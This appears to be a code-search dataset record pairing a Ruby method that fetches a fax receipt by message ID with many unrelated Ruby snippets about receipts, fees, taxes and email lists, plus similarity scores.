"def receive_fax\n component = Punchblock::Component::ReceiveFax.new\n execute_component_and_await_completion component\n\n component.complete_event\n end",
"def index\n @payment_entries = ReceiptEntry.all.where(\"user_id =?\", current_user.id)\n end",
"def paid_expense_items\n paid_details.map{|pd| pd.expense_item }\n end",
"def get(id)\n response = Network.get(['Faxes', id])\n Fax.new(response)\n end",
"def index\n @rfxes = Rfx.all\n end",
"def print_receipt (result)\n taxes, total = 0, 0\n puts \"-\" * 50\n result.each do |each|\n quantity, name, tax, tprice = each[:quantity], each[:name], each[:tax] , each[:tprice]\n puts \"#{quantity}, #{name}, #{'%.2f' % tprice.to_f}\"\n taxes += tax\n total += tprice\n end\n puts \"\\nSales Taxes: #{'%.2f' % taxes.to_f}\"\n puts \"Total: #{'%.2f' % total.to_f}\"\n puts \"-\" * 50\n return taxes, total\n end",
"def get_voice_receipts\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/voice/receipts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def index\n order = filter_sortable_column_order %w{friendly_name receipt_name receipt_item_category.name}\n @receipt_item_types = current_account.receipt_item_types.include_names.order(order)\n respond_with @receipt_item_types\n end",
"def index\n @taxfrees = Taxfree.all\n end",
"def flistf\n return $fframes.to_a\nend",
"def search_fx_rates(vat)\n open_sub_menu('List Foreign Exchange Rates')\n search_fx_value = [vat.fx_from_currency, vat.fx_to_currency, vat.fx_rate, vat.fx_effective_date,\"Delete\"]\n multi_pages_xpath = \"//div[@id='internal-list_foreign_exchange_rates-content']//div[2]/p/a\"\n page_size = all(:xpath, multi_pages_xpath).size\n i = 0\n begin\n all_vat_value = vat_fx_tbl.raw_text\n row_index = all_vat_value.index(search_fx_value)\n if row_index != nil\n break\n end\n if page_size >= i+1\n find(:xpath, multi_pages_xpath + \"[#{i+1}]\").click\n wait_until_bus_section_load\n end\n i = i + 1\n end while i <= page_size\n row_index == nil ? 0:row_index\n end",
"def index\n @pay_fees = PayFee.all\n end",
"def fulfilled_line_items\n return self.order_line_items.where(:status => 'shipped').all\n end",
"def index\n @invoice_addon_line_items = InvoiceAddonLineItem.all\n end",
"def index\n @receipt_slips = ReceiptSlip.all\n end",
"def get_voice_receipts\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/voice/receipts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # validate response against endpoint and global error codes\r\n if _context.response.status_code == 404\r\n return nil\r\n end\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n return _context.response.raw_body\r\n end",
"def getAllFreelancersList\n @utills.waitForElementUtillVisibility(SEARCHITEMS)\n return @utills.findElements(SEARCHITEMS)\n end",
"def index\n @fees = Fee.all\n end",
"def voice_receipts_get(opts = {})\n data, _status_code, _headers = voice_receipts_get_with_http_info(opts)\n data\n end",
"def receipts_for(object)\n case object\n when Mailboxer::Message, Mailboxer::Notification\n object.receipt_for(messageable)\n when Mailboxer::Conversation\n object.receipts_for(messageable)\n end\n end",
"def index\n if current_user.admin?\n @receipts = Receipt.order(sort_column + ' ' + sort_direction).page(params[:page]).per_page(10)\n else\n @receipts = current_user.receipts.all\n end\n end",
"def fees(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/fees\", options).body)\n fees = response.key?('fees') ? response['fees'] : []\n fees.map { |attributes| Promisepay::Fee.new(@client, attributes) }\n end",
"def fees(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/fees\", options).body)\n fees = response.key?('fees') ? response['fees'] : []\n fees.map { |attributes| Promisepay::Fee.new(@client, attributes) }\n end",
"def fees(options = {})\n response = JSON.parse(@client.get(\"items/#{send(:id)}/fees\", options).body)\n fees = response.key?('fees') ? response['fees'] : []\n fees.map { |attributes| Promisepay::Fee.new(@client, attributes) }\n end",
"def sms_receipts_get(opts = {})\n data, _status_code, _headers = sms_receipts_get_with_http_info(opts)\n data\n end",
"def fNotificationListFrom (email)\n @users.notificationListFrom(email)\n end",
"def\n\n# *********VENUE GET METHODS*********\n def get_till_receipts\n\n end",
"def index\n @ireceipts = Ireceipt.all.order(\"rdate DESC\")\n end",
"def recipients\n return Array.wrap(@recipients) unless @recipients.blank?\n @recipients = receipts.map { |receipt| receipt.receiver }\n end",
"def list_files(docx)\n\tfiles = []\n\tZip::Archive.open(docx, Zip::CREATE) do |zipfile|\n\t\tn = zipfile.num_files # gather entries\n\n\t\tn.times do |i|\n\t\t\tentry_name = zipfile.get_name(i) # get entry name from archive\n\t\t\tfiles.push(entry_name)\n\t\tend\n\tend\n\treturn files\nend",
"def index\n @receipts = Receipt.status_based_receipts(params[:receipt_status] || \"open\")\n\n respond_to do |format|\n format.html # index.html.erb\n @recipts = Array.new\n format.json {\n @receipts = @receipts.select{|receipt|\n recipt = Hash.new\n receipt.attributes.each do |key, value|\n recipt[key] = value\n end\n recipt[:receipt_identifier] = CommonActions.linkable(receipt_path(receipt), receipt.receipt_identifier)\n recipt[:customer_name] = receipt.organization.present? ? CommonActions.linkable(organization_path(receipt.organization), receipt.organization.organization_name) : \"-\"\n recipt[:receipt_type_name] = receipt.receipt_type.present? ? receipt.receipt_type.type_name : \"\"\n recipt[:check_code] = ( receipt.receipt_type.present? && receipt.receipt_type.type_value == 'check' && receipt.deposit_check.present? ) ? receipt.deposit_check.check_identifier : \"-\"\n if can? :edit, Receipt\n recipt[:links] = CommonActions.object_crud_paths(nil, edit_receipt_path(receipt), nil)\n else\n recipt[:links] = \"\"\n end\n @recipts.push(recipt)\n }\n render json: {:aaData => @recipts}\n }\n end\n end",
"def get_all_taxes\n self.class.get(\"/aldebaran-taxes/v2/taxes\", :basic_auth => @auth)\n end",
"def payment_receipt\n @payment = ClientPayment.find(params[:id])\n @payment_receipt = ClientPayment.where(receipt_no: @payment.receipt_no)\n @payment_receipt_bill = ClientPayment.where(receipt_no: @payment.receipt_no).group(:bill_id)\n @payment_subscribers = ClientPayment.where(receipt_no: @payment.receipt_no).group(:subscriber_id)\n title = t(\"activerecord.models.client_payment.one\")\n respond_to do |format|\n format.pdf {\n send_data render_to_string, filename: \"#{title}_#{@payment.receipt_no}.pdf\", type: 'application/pdf', disposition: 'inline'\n }\n end\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def getEmailList()\n emailListFile = File.dirname(File.dirname(__FILE__)) + \"/config/\" +\n \"email_recepients.txt\"\n lines = IO.readlines(emailListFile)\n\n lines.each do |line|\n if line.match(/^EMAIL_RESULTS/)\n temp = line.gsub(/EMAIL_RESULTS=/, \"\")\n temp.strip!\n @resultRecepients = temp.split(\",\")\n elsif line.match(/^EMAIL_ERRORS/)\n temp = line.gsub(/EMAIL_ERRORS=/, \"\")\n temp.strip!\n @errorRecepients = temp.split(\",\") \n elsif line.match(/^EMAIL_CAPTURE/)\n temp = line.gsub(/EMAIL_CAPTURE=/, \"\")\n temp.strip!\n @captureRecepients = temp.split(\",\") \n end\n end\n end",
"def list\n @mailing_list.contacts(limit: 10000).map{|contact| contact.email}\n end",
"def index\n @rfcs = Rfc.all\n end",
"def show\n @currency= @company.currency_code\n @gstr_advance_receipt = @company.gstr_advance_receipts.find(params[:id])\n @gstr_advance_receipt_line_items= @gstr_advance_receipt.gstr_advance_receipt_line_items\n @tax_line_items= @gstr_advance_receipt.tax_line_items.group(:account_id)\n @shipping_line_items=@gstr_advance_receipt.shipping_line_items\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.pdf do\n GstrAdvanceReceipt.create_gstr_advance_receipt_history(@gstr_advance_receipt.id,@company.id,@current_user.id, \"printed\")\n pdf=GstrAdvanceReceiptPdf.new(@gstr_advance_receipt, view_context, @gstr_advance_receipt_line_items,@tax_line_items, @shipping_line_items)\n send_data pdf.render, :filename=>\"#{@gstr_advance_receipt.voucher_number}.pdf\", :disposition=>\"inline\", :type=>'application/pdf'\n end\n format.xml { render xml: @gstr_advance_receipt }\n if params[:print]==\"yes\"\n GstrAdvanceReceipt.create_gstr_advance_receipt_history(@gstr_advance_receipt.id, @company.id,@current_user.id,\"printed\")\n end\n end\nend",
"def index\n @customer_refer_emails = CustomerReferEmail.all\n end",
"def index\n #@tax_ps = TaxP.find(:all)\n @tax_ps = @tax_paid_and_refund.tax_ps\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tax_ps }\n end\n end",
"def index\n @invoice_items = @invoice.invoice_items\n end",
"def receipt_for(participant)\n #Alerter::Receipt.notification(self).recipient(participant)\n self.receipts.recipient(participant)\n end",
"def index\n @receipt_periods = ReceiptPeriod.all\n end",
"def get_tax_rates\n response_xml = http_get(@client, \"#{xero_url}/TaxRates\")\n parse_response(response_xml, {}, {:request_signature => 'GET/tax_rates'})\n end",
"def receipt\n receipt_pdf.render\n end",
"def records( quantity = 1 )\n email_addresses = []\n quantity.times do\n email_addresses.push( self.record() )\n end\n email_addresses\n end",
"def receipts_plist=(value)\n plist_virtual_attribute_set(:receipts,value)\n end",
"def index\n @sax_notes = SaxNote.all.order(:number)\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def generate_receipts\n\t\t## and now display this.\n\t\tif self.finalize_order == YES\n\t\t\tself.reports.each do |report|\n\t\t\t\tif report.consider_for_processing?(self.history_tags)\n\t\t\t\t\t## ready for processing.\n\t\t\t\t\tif report.is_outsourced?\n\t\t\t\t\t\t#puts \"report is outsourced.\"\n\t\t\t\t\t\tif bill_direct_to_patient?\n\t\t\t\t\t\t\t#this will be true.\n\t\t\t\t\t\t\t#puts \"we are on bill direct to patient.\"\n\t\t\t\t\t\t\t#will be receipt to patient via organizaiton.\n\t\t\t\t\t\t\treceipt_to_patient(report.currently_held_by_organization,report)\n\t\t\t\t\t\t\t#(from_organization_id,report) \n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t#puts \"we are on double bill\"\n\t\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\t\treceipt_to_order_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t\n\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\n\t\t\t\t\t\tunless self.outsourced_by_organization_id.blank?\n\t\t\t\t\t\t\treceipt_to_outsourced_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def index\n @fee_types = FeeType.all\n end",
"def format_receipt\n receipt = ''\n\n @items.each do |item|\n receipt += item.generate_receipt_string\n receipt += \"\\n\"\n end\n\n sales_taxes = 0.00\n @items.each do |item|\n sales_taxes += item.total_tax\n end\n\n total = 0.00\n @items.each do |item|\n total += item.total_price\n end\n\n receipt += \"Sales Taxes: \" + sprintf(\"%.2f\",sales_taxes)\n receipt += \"\\n\"\n receipt += \"Total: \" + sprintf(\"%.2f\",total)\n receipt\n end",
"def after_taxes\n printed_list = \"\"\n @total = 0\n @list.each do |item, quantity|\n item_total = quantity * item.price\n @total += item_total\n printed_list += \"#{quantity} #{item.name}: #{MONEY_FORMAT % item.price}\\n\"\n end\n return printed_list\n end",
"def by_nfe\n @nfe_xml = NfeXml.where(numero: params[:id]).first\n @pallets = PalletizingPallets::GetAllPalletsByNfeService.new(@nfe_xml.numero).call\n end",
"def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end",
"def index\n @free_shipping_rules = FreeShippingRule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @free_shipping_rules }\n end\n end",
"def index\n @forgotmails = Forgotmail.all\n end"
] |
[
"0.65498495",
"0.6437965",
"0.62711227",
"0.6176253",
"0.5866492",
"0.58204156",
"0.58074254",
"0.571122",
"0.5708426",
"0.5699477",
"0.56959105",
"0.56889147",
"0.56848586",
"0.5673113",
"0.56723094",
"0.56723094",
"0.56682193",
"0.5664647",
"0.562958",
"0.5618523",
"0.559215",
"0.5558357",
"0.5527645",
"0.5519551",
"0.54997283",
"0.54593426",
"0.5435992",
"0.5413384",
"0.5405542",
"0.5372943",
"0.5326823",
"0.5317767",
"0.5305391",
"0.53006554",
"0.52942866",
"0.52813363",
"0.5275261",
"0.52624285",
"0.52578044",
"0.5250839",
"0.52331233",
"0.5228187",
"0.52280253",
"0.522465",
"0.5221257",
"0.5176769",
"0.5151704",
"0.51460373",
"0.51447",
"0.51303923",
"0.5130203",
"0.5119099",
"0.51172745",
"0.51099545",
"0.5096965",
"0.5094195",
"0.5083",
"0.5075194",
"0.5065725",
"0.5059621",
"0.5041973",
"0.50332594",
"0.50289905",
"0.5021445",
"0.50091004",
"0.50091004",
"0.50091004",
"0.5009087",
"0.50081456",
"0.5002015",
"0.49927714",
"0.49907687",
"0.49871317",
"0.4976976",
"0.49543303",
"0.49509558",
"0.49396724",
"0.49358076",
"0.4932015",
"0.49313548",
"0.49262947",
"0.49242285",
"0.49181944",
"0.4917538",
"0.4903148",
"0.48959315",
"0.48941714",
"0.48929206",
"0.4892087",
"0.48903903",
"0.48732406",
"0.48640436",
"0.48565364",
"0.48533094",
"0.4847394",
"0.4814754",
"0.48068038",
"0.48066172",
"0.48012227",
"0.48000395"
] |
0.83824164
|
0
|
Get a single fax receipt based on message id.
|
def get_fax_receipt(message_id)
# Validate required parameters.
validate_parameters(
'message_id' => message_id
)
# Prepare query url.
_query_builder = Configuration.base_uri.dup
_query_builder << '/fax/receipts/{message_id}'
_query_builder = APIHelper.append_url_with_template_parameters(
_query_builder,
'message_id' => message_id
)
_query_url = APIHelper.clean_url _query_builder
# Prepare and execute HttpRequest.
_request = @http_client.get(
_query_url
)
BasicAuth.apply(_request)
_context = execute_request(_request)
# Validate response against endpoint and global error codes.
return nil if _context.response.status_code == 404
validate_response(_context)
# Return appropriate response type.
_context.response.raw_body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get(id)\n response = Network.get(['Faxes', id])\n Fax.new(response)\n end",
"def sms_receipts_by_message_id_get(message_id, opts = {})\n data, _status_code, _headers = sms_receipts_by_message_id_get_with_http_info(message_id, opts)\n data\n end",
"def get(message_id)\r\n messages.detect { |message| message.message_id.to_s == message_id.to_s }\r\n end",
"def find_matching_recipient_by_message_id(message_id, state: :incomplete)\n restext = \"[{\\\"aws_sns_sms_message_id\\\":\\\"#{message_id}\\\"}]\"\n\n res = if state == :incomplete\n incomplete_recipients\n else\n DynamicModel::ZeusBulkMessageRecipient\n end\n res = res.where(response: restext)\n res.first\n end",
"def find_by_message_id(message_id)\n @gmail.inbox.find(message_id: message_id)\n end",
"def message(id)\n Message.new(request(:get, \"messages/#{id.to_s}\"))\n end",
"def message(id)\n Message.new(request(:get, \"messages/#{id}\"))\n end",
"def receipt_for(participant)\n #Alerter::Receipt.notification(self).recipient(participant)\n self.receipts.recipient(participant)\n end",
"def fax_receipt_list\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/fax/receipts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def receipts(options = {})\n Mailboxer::Receipt.where(options).recipient(messageable)\n end",
"def get_mailing_by_id(id)\n get(\"/mailings/#{id}\")\n end",
"def invoice_receipt(invoice_receipt_id, options={})\n params = { :klass => Invoicexpress::Models::InvoiceReceipt }\n\n get(\"invoice_receipts/#{invoice_receipt_id}.xml\", params.merge(options))\n end",
"def receipts_for(participant)\n Mailboxer::Receipt.conversation(self).recipient(participant)\n end",
"def receipts_for(participant)\n return Receipt.conversation(self).recipient(participant)\n end",
"def show\n\t\t@conversation = current_user.mailbox.conversations.find(params[:id]).receipts_for(current_user)\n\tend",
"def message_details(message_id)\n @api.get(\"#{@api.path}/List/#{@id}/Email/#{message_id}\")\n end",
"def retrieve_sms(message_id)\n Response.new self.class.get(\"/messages/#{message_id}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end",
"def id\n messaging['id']\n end",
"def deliver_receipt\n @content_node = ContentNode.find(:first, :conditions => [\"name = ?\", 'OrderReceipt'])\n OrdersMailer.deliver_receipt(self, @content_node.content)\n end",
"def id\n @message[:id]\n end",
"def receipts_for(participant)\n receipt_for(participant)\n end",
"def get_faxes_id(id, opts = {})\n data, _status_code, _headers = get_faxes_id_with_http_info(id, opts)\n data\n end",
"def fax_number\n return unless @user.loa3?\n\n dig_out('telephones', 'phone_type', VAProfile::Models::Telephone::FAX)\n end",
"def voice_message(id)\n VoiceMessage.new(request(:get, \"voicemessages/#{id.to_s}\"))\n end",
"def message(message)\n get(\"inbox/messages/#{message}\").pop\n end",
"def voice_message(id)\n VoiceMessage.new(request(:get, \"voicemessages/#{id}\"))\n end",
"def extractMessageID(msgID)\n retVal = \"0000\"\n\n # Check if the ID is a hexadecimal number\n if msgID =~ /(0x)?[0-9a-fA-F]+/\n # Convert the message ID from a string to a value\n val = msgID.to_i(16)\n\n # Strip off all but the last 12 bits and convert the value to a\n # hexadecimal string\n retVal = \"%04x\" % (val & 0x7ff)\n end\n\n return \"0x\" + retVal\nend",
"def fetch id\n each_unread([]) do |m|\n if m.id == id\n return m\n end\n end\n\n nil\n end",
"def get_file(file_id)\n raise ArgumentError, \"Only one file id allowed for this method\" if file_id.is_a?(Array)\n get_files(file_id).first\n end",
"def queued_read(message_id)\n if pdu = message_queue[message_id].shift\n return pdu\n end\n\n # read messages until we have a match for the given message_id\n while pdu = read\n if pdu.message_id == message_id\n return pdu\n else\n message_queue[pdu.message_id].push pdu\n next\n end\n end\n\n pdu\n end",
"def get_message_source(message_id)\n get_plain(\"messages/#{message_id}\").b\n # .b sets encoding to ASCII-8BIT, which is safer for raw emails than UTF-8\n end",
"def receipts(options = {})\n MessageCenter::Receipt.where(options).recipient(messageable).order(:created_at => :desc)\n end",
"def message_id\n @mail.message_id\n end",
"def get(sfm_id, opts = {})\n data, _status_code, _headers = self_mailer_retrieve_with_http_info(sfm_id, opts)\n data\n end",
"def find(id)\n id = id.to_i\n contacts = Contact.all\n contact = nil\n contact = contacts[id-1] unless contacts[id-1].nil?\n end",
"def get_message(id, options = nil)\r\n @client.raw('get', \"/content/messages/#{id}\", options, nil, @contact_v1_url)\r\n end",
"def receipts_for(object)\n case object\n when Mailboxer::Message, Mailboxer::Notification\n object.receipt_for(messageable)\n when Mailboxer::Conversation\n object.receipts_for(messageable)\n end\n end",
"def find_client_contact_by_id(id)\n message = { session: @session, entity_name: 'ClientContact', id: id, \n attributes!: { id: { 'xsi:type' => \"xsd:int\" } } }\n soap_response = @client.call(:find, message: message)\n response = soap_response.body[:find_response][:return]\n Bullhorn::ClientContact.from_soap_message(response[:dto])\n end",
"def verify_email_message(id)\n VerifyEmailMessage.new(request(:get, \"verify/messages/email/#{id}\"))\n end",
"def sms_receipts_by_message_id_get_with_http_info(message_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SMSApi.sms_receipts_by_message_id_get ...'\n end\n # verify the required parameter 'message_id' is set\n if @api_client.config.client_side_validation && message_id.nil?\n fail ArgumentError, \"Missing the required parameter 'message_id' when calling SMSApi.sms_receipts_by_message_id_get\"\n end\n # resource path\n local_var_path = '/sms/receipts/{message_id}'.sub('{' + 'message_id' + '}', message_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SMSApi#sms_receipts_by_message_id_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_invoice_by_id(invoice_id)\n get_invoice(invoice_id)\n end",
"def get_contact(id)\n contacts = read_contacts\n contacts.select { |contact| contact[:id] == id }.first\nend",
"def find_payload id, fname = 'ORIGINAL'\n ppath = payload_path(id)\n end",
"def get_message_by_id(token, id, fields = nil, user = nil)\n request_url = user_context(user) << \"/Messages/\" << id\n request_params = nil\n\n unless fields.nil?\n request_params = { '$select' => fields.join(',') }\n end\n\n get_message_response = make_api_call \"GET\", request_url, token, request_params\n\n parse_response(get_message_response)\n end",
"def message_id\n @message_id\n end",
"def download_receipt\n pdf_type = 'Receipt'\n return_pdf(pdf_type)\n end",
"def get_attachment_by_message_id(token, id, fields = nil, user = nil)\n request_url = user_context(user) << \"/Messages/\" << id << \"/attachments/\"\n request_params = nil\n\n unless fields.nil?\n request_params = { '$select' => fields.join(',') }\n end\n\n get_message_response = make_api_call \"GET\", request_url, token, request_params\n\n parse_response(get_message_response)\n end",
"def get_freqitem(item_id)\n self.each do |freqitem|\n return freqitem if freqitem.freq_item_id == item_id\n end\n\n return nil\n end",
"def set_fax\n @fax = Fax.find(params[:id])\n end",
"def get_message(display_id, message_id)\n get \"commandcenter/displays/#{display_id}/messages/#{message_id}\"\n end",
"def message_id\n data[:message_id]\n end",
"def check_fax_message_status(messageId)\n begin\n endpoint = \"/restapi/v1.0/account/~/extension/~/message-store/\" + messageId.to_s\n resp = $platform.get(endpoint)\n puts (\"Message status: \" + resp.body['messageStatus'])\n if (resp.body['messageStatus'] == \"Queued\")\n sleep(10)\n check_fax_message_status(resp.body['id'])\n end\n rescue StandardError => e\n puts (e)\n end\nend",
"def print_msg(message_id)\n puts @messages[message_id]\n end",
"def find_message(recipient, subject)\n client.inbox.emails(to: recipient, subject: subject).last\n end",
"def get_xtid(xtid, id)\n self.class.headers 'X-tid' => xtid\n self.class.get(\"/aldebaran-recdocs/recdocs/#{id}\", :basic_auth => @auth)\n end",
"def getOrder(id)\n @orders.find {|ord| ord.orderId.to_i == id.to_i}\n end",
"def find_by_id(id)\n @to_dos.each { |item| return item if item.id == id}\n end",
"def get_message_lookup record_id\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/messages/{record_id}\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n \"record_id\" => record_id,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"Flowroute Messaging SDK 1.0\"\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers:headers, auth:{ :user => @username, :password => @password }\r\n\r\n #Error handling using HTTP status codes\r\n if !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def retrieve_delivery_report(omnimessage_id, opts = {})\n data, _status_code, _headers = retrieve_delivery_report_with_http_info(omnimessage_id, opts)\n data\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end",
"def message_id; @message_impl.getMessageId; end",
"def get_tx_by_id(tx_id)\n raise \"Not implemented\"\n end",
"def get_message_box(user_id)\r\n self.message_boxes.fetch(user_id.to_s)\r\n end",
"def extract_invoice_id\n invoice_id = Converter.xml_get('Betreff_NR', self.order)\n if invoice_id && invoice_id.match(/Rechnung Nr/)\n self.id = invoice_id.match(/\\d+/)[0]\n end\n end",
"def get_item(message_id)\n resp = @dynamoDB.get_item({\n table_name: \"Messages\", # required\n key: { # required\n \"message_id\" => message_id, # value <Hash,Array,String,Numeric,Boolean,IO,Set,nil>\n }\n })\n return resp.item ? true : false\nend",
"def get_message_by_uid(uid)\n message = @connection.uid_fetch(uid.to_i, \"RFC822\")[0].attr[\"RFC822\"]\n \n # mark this message as being seen\n @connection.uid_store(uid.to_i, \"+FLAGS\", [:Seen])\n \n # for some reason, the parser doesn't like the old line returns; strip \n # them out\n return Message.receive(message.tr(\"\\r\", \"\"))\n end",
"def find_event_by_id(id)\n return nil unless id\n event_lookup(\"/#{id}\")\n end",
"def find_event_by_id(id)\n return nil unless id && id.strip != ''\n event_lookup(\"/#{id}\")\n end",
"def get_single_item(item_id, payload = {})\n payload = payload.merge('ItemID' => item_id)\n request('GetSingleItem', payload)\n end",
"def message_id\n self['message-id']\n end",
"def msg_id_get(id, opts = {})\n data, _status_code, _headers = msg_id_get_with_http_info(id, opts)\n data\n end",
"def receipts_to(obj)\n receipts_to_or_from(obj).sent_messages_receipts\n end",
"def message_id\n return @message_id\n end",
"def invoice_receipt_mail(invoice_receipt_id, message, options={})\n raise(ArgumentError, \"message has the wrong type\") unless message.is_a?(Invoicexpress::Models::Message)\n\n params = { :body => message, :klass => Invoicexpress::Models::InvoiceReceipt }\n put(\"invoice_receipts/#{invoice_receipt_id}/email-document.xml\", params.merge(options))\n end",
"def item_from_uuid(id)\n @items.find { |i| i[:id].to_s == id } || raise(\"Unable to resolve item for uuid '#{id}'\")\n end",
"def get_by_id(id)\n raise(ArgumentError, \"Argument 'id' must be a Fixnum\") unless id.is_a?(Fixnum)\n @data.find{ |entry| entry[:id] == id }\n end",
"def receive_fax\n component = Punchblock::Component::ReceiveFax.new\n execute_component_and_await_completion component\n\n component.complete_event\n end",
"def set_receipt\n @receipt = Receipt.find(params[:id])\n end",
"def set_receipt\n @receipt = Receipt.find(params[:id])\n end",
"def set_receipt\n @receipt = Receipt.find(params[:id])\n end",
"def set_receipt\n @receipt = Receipt.find(params[:id])\n end",
"def fetch_email_details(email_id)\n to_email(ItemId.new(email_id))\n end",
"def find(folder_id, offset)\n find_opts = {\n :sort_order=>[[\"item:DateTimeReceived\", \"Ascending\"]],\n :indexed_page_item_view=>{\n :max_entries_returned=>batch_size, \n :offset=>offset},\n :item_shape=>{\n :base_shape=>:IdOnly,\n :additional_properties=>[[:field_uri, \"item:DateTimeReceived\"],\n [:field_uri, \"message:IsRead\"],\n [:field_uri, \"message:IsReadReceiptRequested\"]]}}\n \n restriction = [:==, \"item:ItemClass\", \"IPM.Note\"]\n if state[folder_id.key]\n restriction = [:and,\n restriction,\n [:>= , \"item:DateTimeReceived\", state[folder_id.key]]]\n end\n find_opts[:restriction] = restriction\n \n folder_id.find_item(find_opts)\n end",
"def get_response(message_id)\n responses.delete(message_id.to_s)\n end",
"def get_recipient(recipient_id)\n post_with_auth 'payment_initiation/recipient/get',\n PaymentRecipientGetResponse,\n recipient_id: recipient_id\n end",
"def message\n @messages.first\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('deliveryprofile', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def id\n reply.documents[0][ID]\n end",
"def find_invoice(id)\n stripe_invoice = nil\n\n begin\n stripe_invoice = Stripe::Invoice.retrieve(id, stripe_options)\n rescue StandardError => _e\n #\n end\n\n stripe_invoice ? Invoice.new(self, stripe_invoice) : nil\n end",
"def find(id)\n result = self.class.get(worksheet_url + \"/\" + id).parsed_response\n Record.new(result_attributes(result)) if result.present? && result[\"id\"]\n end",
"def find_by_id(id)\n find_by_id!(id)\n rescue TopdeskAPI::Error::RecordNotFound\n nil\n end",
"def message_id\n @message_id ||= message.message_id\n end",
"def get_order_item(id, options = nil)\r\n @client.raw('get', \"/ecommerce/order-items/#{id}\", options, nil, @contact_v1_url)\r\n end",
"def retrieve(delivery_id)\n get(\"customers/#{customer_id}/deliveries/#{delivery_id}\")\n end",
"def get_contact_by_id(contact_id)\n get_contact(contact_id)\n end",
"def get_contact_by_id(contact_id)\n get_contact(contact_id)\n end",
"def fetch_by_id(invoice_id)\n response = do_http_get(\"#{url_for_resource(Quickeebooks::Online::Model::Invoice::REST_RESOURCE)}/#{invoice_id}\")\n Quickeebooks::Online::Model::Invoice.from_xml(response.body)\n end",
"def notification(id)\n response = self.class.get(\"/notifications/\" + id.to_s + \".xml\")\n note = response[\"notification\"]\n new_note = Notification.new( :body => note[\"body\"],\n :subject => note[\"subject\"],\n :id => note[\"id\"],\n :send_at => note[\"send_at\"],\n :escalation => note[\"escalation\"])\n note[\"recipients\"].each do |rcpt|\n new_note.add_recipient(Recipient.new(:id => rcpt[\"id\"],\n :channel => rcpt[\"channel\"],\n :address => rcpt[\"address\"],\n :status => rcpt[\"status\"],\n :send_at => rcpt[\"send_at\"]))\n end\n new_note \n end",
"def office_fax_number\n self.dig_for_string(\"agentSummary\", \"office\", \"faxNumber\")\n end"
] |
[
"0.6714761",
"0.62932956",
"0.5854769",
"0.5836609",
"0.5661811",
"0.5489899",
"0.5489551",
"0.5484675",
